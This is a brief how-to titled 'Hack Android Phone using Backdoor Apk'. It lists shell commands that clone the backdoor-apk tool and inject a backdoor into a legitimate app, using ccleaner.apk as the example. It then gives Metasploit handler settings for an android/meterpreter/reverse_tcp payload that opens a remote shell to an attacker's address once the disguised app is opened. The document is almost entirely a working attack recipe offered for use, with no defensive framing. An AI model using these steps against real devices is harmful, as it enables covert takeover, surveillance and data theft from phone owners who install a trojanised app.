Hack Android Phone using Backdoor Apk

$ apt-get install lib32stdc++6 lib32ncurses5 lib32z1
$ git clone https://github.com/dana-at-cp/backdoor-apk.git
$ cd backdoor-apk
$ ./backdoor-apk.sh ccleaner.apk

Back-doored apk saved in backdoor-apk>original>dist folder.

Before opening the app,open metasploit and type :

use exploit/multi/handler  
set payload android/meterpreter/reverse_tcp  
set lhost 192.168.1.126  
set lport 4444  
exploit  

Reference

Hack Android Phone using Backdoor Apk